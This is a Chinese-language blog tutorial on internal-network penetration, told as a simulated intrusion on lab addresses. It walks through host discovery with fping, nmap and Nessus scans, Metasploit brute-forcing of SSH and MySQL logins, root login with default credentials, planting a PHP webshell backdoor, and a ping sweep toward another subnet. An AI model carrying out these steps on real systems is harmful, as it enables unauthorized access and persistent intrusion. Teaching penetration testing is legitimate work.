內網滲透之信息收集
這一次我們將對內網進行一下信息收集,收集的內容主要包括:
主機系統服務版本、IP地址、端口、服務及服務版本、可能存在的漏洞等
模擬場景:
有一天,k悄悄的連接到了c的交換機上(至於怎么實施的我也不知道),因為xxx事件,對c的內部比較xxx,所以這天k趁着夜色連上內網后開始了他滲透之旅。
k =》 kali,c 》 CentOS, w =》 Win
1、信息收集-存活主機
首先k將自己的網卡調成自動獲取IP之后,等待一會開始查看被分配的IP地址
root@mtcx:~# ifconfig
可以看到當前的IP為192.168.12.53、掩碼為255.255.255.0,所以k知道了當前網段為192.168.12.0/24的(應該是這樣的講的吧)
所以k想到了使用fping這個命令去探測當前網段下是否還有其他主機存在.(為什么不用ping,我不會寫編程呀,又懶得的搜)
1-1、內網探測之fping工具
root@mtcx:~# fping -ag 192.168.12.0/24 >> demo.txt #意思將掃描到的存活主機地址寫入到當前目錄下demo.txt文件里
等待掃描結束后,k查看了收集到的存活主機
root@mtcx:~# cat demo.txt
從得到的結果中可以知道,除了自身的.53的IP外還有一個.58的主機存活,emmm 那個.2的是網關
所以接下就以.58為突破口進入到內部(為什么還要進內部呢,哇,不可能一下就進到核心區的吧,那樣敵方也太弱了吧)
1-2、小結
收集到一台存活的主機.58其他信息未知下步進行驗證
2、信息收集-端口收集
k獲取一台存活的主機IP.58后,開始向其端口出手了。
2-1、端口掃描-nmap神器
root@mtcx:~# nmap 192.168.12.58 #使用默認配置掃描主機,可能存在遺漏
通過簡單的掃描后發現目標有4個端口是開放的,分別是
22端口的ssh服務、80端口的http服務、111端口的rpcbind服務以及3306端口的mysql服務
但是僅知道這些端口是不夠的還不知道目標的系統版本什么、指紋信息等也是不知道的,所以又開始了新一輪掃描
root@mtcx:~# nmap -sV -p1-65535 -O 192.168.12.58 #這里的參數問題,-sV 版本 -p1-65535 端口 -O 指紋
通過掃描后發現目標更詳細的信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) 111/tcp open rpcbind 2-4 (RPC #100000) 3306/tcp open mysql MariaDB (unauthorized) MAC Address: 00:0C:29:5A:A7:89 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
好了,根據獲取到的信息k已經知道了目標的系統為CentOS,可以進行ssh登陸,可以通過web訪問、可以查詢數據庫,下面就是根據這些點查詢相應的漏洞了。
注:或許你可能很疑惑為什么不進行其他的探測了,以為時間不允許呀。后面的事情還有很多,如果都弄完了,可能自己就沒了(真正的從天黑到天亮再到~~),所以端口掃描就到這里先,想了解更多的可以查詢下NMAP相關手冊。
3、漏洞掃描-Nessus漏掃
在拿到這些信息以后為節省時間,k准備使用Nessus漏掃工具查看下其是否存在相應漏洞。(Nessus的安裝問題請問下度娘)
打開早已准備好的Nessus界面。
注:如果出現打不開可能是服務停止了,手動開啟下
添加一個新的掃描,選擇高級掃描
添加詳細信息
開始掃描
點擊查看詳情
在等待一會后掃描結束
點擊查看
然后百度一波,emm,算了 還是再去找找吧
之后k來到了.58的80主頁發現這是一個默認頁,emm 找不到其他的信息呀。難道要御劍飛行!!算了再去看看別的。
4、啟動MSF框架
即然是內網滲透怎么少的了MSF呢,去吧~
root@mtcx:~# msfdb run
由之前的信息收集可知,目標開啟了22、80、111、3306端口,所以現在嘗試弱口令登陸22端口試試。
4-1、ssh弱口令登陸
msf5 > search ssh_login #搜索ssh登陸模塊[object Object] 發現有兩個模塊可以用於登陸的,這里選擇第一個。 msf5 > use auxiliary/scanner/ssh/ssh_login
查看下詳細配置
msf5 auxiliary(scanner/ssh/ssh_login) > show options
這里對上面這三處位置進行設置
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.12.58 RHOSTS => 192.168.12.58 #設置目標IP msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /user/share/metasploitframework/data/wordlists/root_userpass.txt USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt #設置字典
開始登陸
msf5 auxiliary(scanner/ssh/ssh_login) > run #登陸
發現可以用root:root進行登陸,看樣子好像權限還是比較高的那種,ssh登陸一下
5、進入到CentOS系統
新建一個窗口,使用ssh進行登陸(一般不要這樣登陸哦)
root@mtcx:~# ssh root@192.168.12.58 #ssh登陸
查看當前所在IP是否為目標IP
[root@localhost ~]# ifconfig
驚喜的發現這里還存在一個網段192.168.159.0/24的,當前主機的IP為.130(拿小本本先記一下)
6、新一輪的信息收集
開始查看當前目標中存在的用戶
[root@localhost ~]# cd /home/ [root@localhost home]# ls
發現還存在一個mtcx的用戶。(搞事情,搞事情)
以為當前用戶為最高權限,所以可去很多地方的,所以接下來查看下mtcx中的信息
查看里面有沒有數據
emmm,剛建的服務好像沒啥東西  ̄へ ̄
對了,想起來之前在掃描時還存在一個開放的80端口,應該會有網站的存在,去看一眼。
7、發現網站
[root@localhost 下載]# cd /var/www/ cgi-bin/ html/ [root@localhost 下載]# cd /var/www/html/ authkey/ day/ readme/ [root@localhost 下載]# cd /var/www/html/authkey/ api/ caches/ html/ install/ phpcms/ phpsso_server/ statics/ uploadfile/
審計源碼什么太累了,還是直接寫一個一句話好了,方便下次進入
[root@localhost authkey]# vim cms.php
查看下文件所在
之后就是瀏覽器驗證了,發現很OK
現在后門以后,找一下還有沒有其他的點,好像還有一個mysql服務也是開的,試試去
回到msf上,搜索下MySQL的登陸模塊(這里為什么又到這里呢,主要是介紹msf的用法,畢竟那邊已經拿到最高權限了直接去都是可以的實現的)
msf5 auxiliary(scanner/ssh/ssh_login) > search mysql_login
使用模塊
和之前ssh的配置基本一致
開始登陸
msf5 auxiliary(scanner/mysql/mysql_login) > run
和想象中不太一樣欸,還是嘗試下又沒用弱口令
經過嘗試,emmm 就去了
查看下數據庫
。。。接下的事情就不說了,你懂的。
8、橫向提權
探索其他主機
使用ping命令探索(超慢的)
for i in {1..254};do ping 192.168.159.$i -c1|grep time=|awk -F "[(): ]" '{print $4}';done
之后發現有一台存活的.132的主機
。。。
現在k面臨一個問題如何去攻擊.132的主機,因為不在一個網段無法利用自身已有的工具,有效的攻擊。這該怎么辦呢?